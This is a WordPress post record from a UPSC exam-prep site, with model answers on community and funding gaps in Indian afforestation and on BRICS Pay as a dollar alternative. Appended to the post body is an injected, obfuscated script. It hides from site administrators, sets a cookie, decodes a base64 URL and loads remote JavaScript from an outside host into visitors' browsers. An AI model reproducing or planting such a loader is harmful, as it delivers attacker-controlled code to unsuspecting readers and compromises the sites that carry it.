{"id":2703,"date":"2025-11-06T05:04:33","date_gmt":"2025-11-06T05:04:33","guid":{"rendered":"https:\/\/iasquest.com\/?p=2703"},"modified":"2026-02-11T18:48:52","modified_gmt":"2026-02-11T18:48:52","slug":"afforestation-programmes-alternatives-to-the-dollar","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/afforestation-programmes-alternatives-to-the-dollar\/","title":{"rendered":"Afforestation Programmes &#038; Alternatives to the Dollar"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#ff0000\"><strong>1. India has strong legal frameworks like the Forest Rights Act (2006) and financing mechanisms such as CAMPA. Despite this, afforestation programmes often face gaps in community participation and fund utilisation. Analyse the reasons for this gap and suggest measures to enhance effectiveness.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III : Conservation, Environmental Pollution and Degradation<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> India\u2019s forests hold the future<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">India\u2019s forests are critical for climate mitigation, biodiversity, and livelihoods, forming a key part of the country\u2019s sustainable development goals. Challenges in translating policy into practice highlight gaps in community engagement, ecological planning, and fund utilisation, underscoring that legal and financial provisions alone cannot ensure effective forest restoration.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Reasons for the Gap in afforestation programmes:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Limited Community Involvement:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-6\">\n<li>Nearly 200 million Indians depend on forests for livelihoods.<\/li>\n\n\n\n<li>Many plantation drives bypass communities, ignoring consent and legal claims under FRA, eroding trust and legitimacy.<\/li>\n\n\n\n<li>Lack of integration with joint forest management or participatory models in many states limits community ownership.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Ecological and Technical Challenges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li>Traditional afforestation focused on monocultures like eucalyptus and acacia, which are fast-growing but ecologically damaging.<\/li>\n\n\n\n<li>Such plantations deplete groundwater, reduce biodiversity, and are vulnerable to climate stress, making ecological outcomes uncertain.<\/li>\n\n\n\n<li>Local forest departments often lack expertise in ecological restoration and adaptive management.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Financial Bottlenecks:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>CAMPA holds \u20b995,000 crore, but utilisation is inconsistent; e.g., Delhi used only 23% of approved funds between 2019\u201324.<\/li>\n\n\n\n<li>GIM\u2019s own allocations are modest, heavily relying on CAMPA.<\/li>\n\n\n\n<li>Lack of monitoring and accountability mechanisms leads to inefficient fund deployment.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Measures to Enhance Effectiveness:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>1. Strengthen Community Participation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>Implement participatory planning, revenue-sharing, and consent-based plantations.<\/li>\n\n\n\n<li>Promote local leadership in forest management and integrate traditional knowledge.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Ecologically Informed Restoration:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Focus on native, site-specific species to improve resilience, biodiversity, and carbon sequestration.<\/li>\n\n\n\n<li>Utilize existing training institutes in Uttarakhand, Coimbatore, and Byrnihat to build capacity of frontline staff.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>3.<\/strong> <strong>Improve Fund Utilisation and Accountability:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>Use public dashboards to track survival rates, species mix, fund use, and community participation.<\/li>\n\n\n\n<li>Broaden CAMPA\u2019s scope to support adaptive management and participatory approaches.<\/li>\n\n\n\n<li>Explore innovative financing like carbon credits and biochar programmes to supplement funds.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">Legal and financial frameworks exist, but alignment of ecological priorities, community participation, and accountable fund management is essential. By integrating these elements, India can transform afforestation from a target-driven programme into a sustainable, inclusive movement, supporting climate goals and rural livelihoods.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2015)<\/strong> <br><strong>Q. Discuss the Namami Gange and National Mission for Clean Ganga (NMCG) programmes and causes of mixed results from the previous schemes. What quantum leaps can help preserve the river Ganga better than incremental inputs?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/indias-forests-hold-the-future\/article70239892.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/indias-forests-hold-the-future\/article70239892.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-19 wp-block-paragraph\" style=\"color:#ff0000\"><a><\/a><strong>2. The BRICS countries are exploring alternatives to the dollar-dominated financial system, including the BRICS Cross-Border Payments Initiative (BRICS Pay). Analyse the motivations behind this initiative and its potential implications for global financial governance.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II: Regional and Global Groupings and Agreements involving India and\/or affecting India\u2019s interests.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>IN NEWS:<\/strong> How BRICS is challenging SWIFT<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">The BRICS countries\u2014Brazil, Russia, India, China, and South Africa\u2014have increasingly sought to reduce dependence on the U.S. dollar-dominated financial system. The BRICS Cross-Border Payments Initiative (BRICS Pay) is a key step in this direction, reflecting a desire for greater financial sovereignty, resilience against sanctions, and enhanced regional and inter-member trade facilitation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Motivations behind BRICS Pay:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Reducing Exposure to Dollar and Western Sanctions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Western sanctions on Russia in 2014\u201315 highlighted the vulnerability of dollar-based systems.<\/li>\n\n\n\n<li>Including Iran in 2024, a country historically under sanctions, underscores the BRICS motivation for an independent financial mechanism.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Enhancing Financial Sovereignty:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>The dominance of SWIFT and G-10 central banks gives Western powers significant control over global payments.<\/li>\n\n\n\n<li>BRICS Pay offers member states control over cross-border settlements, potentially bypassing U.S. financial leverage.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>3. Strengthening Intra-BRICS Trade and Investment:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>Settlements in national currencies reduce currency conversion costs and exchange rate risks.<\/li>\n\n\n\n<li>Supports local currency direct investment, currency swaps, and payments in domestic currencies.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>4.<\/strong> <strong>Leveraging National Payment Infrastructures:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>Existing systems like India\u2019s UPI, China\u2019s CIPS, Russia\u2019s SPFS, and Brazil\u2019s Pix provide technological readiness to create an interoperable network.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Potential Implications for Global Financial Governance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-30\">\n<li><strong>Challenge to Dollar Hegemony: <\/strong>Widespread adoption of BRICS Pay may gradually reduce reliance on the U.S. dollar for international transactions.<\/li>\n\n\n\n<li><strong>Alternative Financial Architecture for Developing Countries: <\/strong>Mirrors initiatives like the New Development Bank and Contingent Reserve Arrangement, offering a framework for financial cooperation outside Western dominance.<\/li>\n\n\n\n<li><strong>Geopolitical Realignments: <\/strong>Could strengthen South-South cooperation, giving emerging economies greater leverage in global trade and finance.<\/li>\n\n\n\n<li><strong>Operational Limitations: <\/strong>Full interoperability among diverse national systems is complex, and individual member ambitions (e.g., promoting UPI or CIPS) may delay cohesion.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">BRICS Pay represents a strategic blend of economic and geopolitical objectives, aiming to provide financial autonomy and foster regional cooperation. While technological and political challenges exist, its successful implementation could gradually reshape the global financial landscape, offering emerging economies an alternative to the dollar-centric system.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (UPSC 2025)<\/strong> <br><strong>Q. What are the challenges before the Indian economy when the world is moving away from free trade and multilateralism to protectionism and bilateralism? How can these challenges be met?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/how-brics-is-challenging-swift-explained\/article70241519.ece#:~:text=The%20BRICS%20Cross%2DBorder%20Payments,international%20money%20transfers%2C%20and%20which\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/how-brics-is-challenging-swift-explained\/article70241519.ece#:~:text=The%20BRICS%20Cross%2DBorder%20Payments,international%20money%20transfers%2C%20and%20which<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>India has strong legal frameworks like the Forest Rights Act (2006) and financing mechanisms such as CAMPA. Despite this, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2704,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[116,68,39,55,97,25,26,10,65],"tags":[],"class_list":["post-2703","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-afforestation-programme","category-daily-current-affairs","category-daws","category-environment-ecology","category-environmental-pollution-and-degradation","category-gs-2","category-gs-3","category-international-relations","category-regional-and-global-groupings"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2703","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2703"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2703\/revisions"}],"predecessor-version":[{"id":2952,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2703\/revisions\/2952"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/2704"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2703"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2703"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2703"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}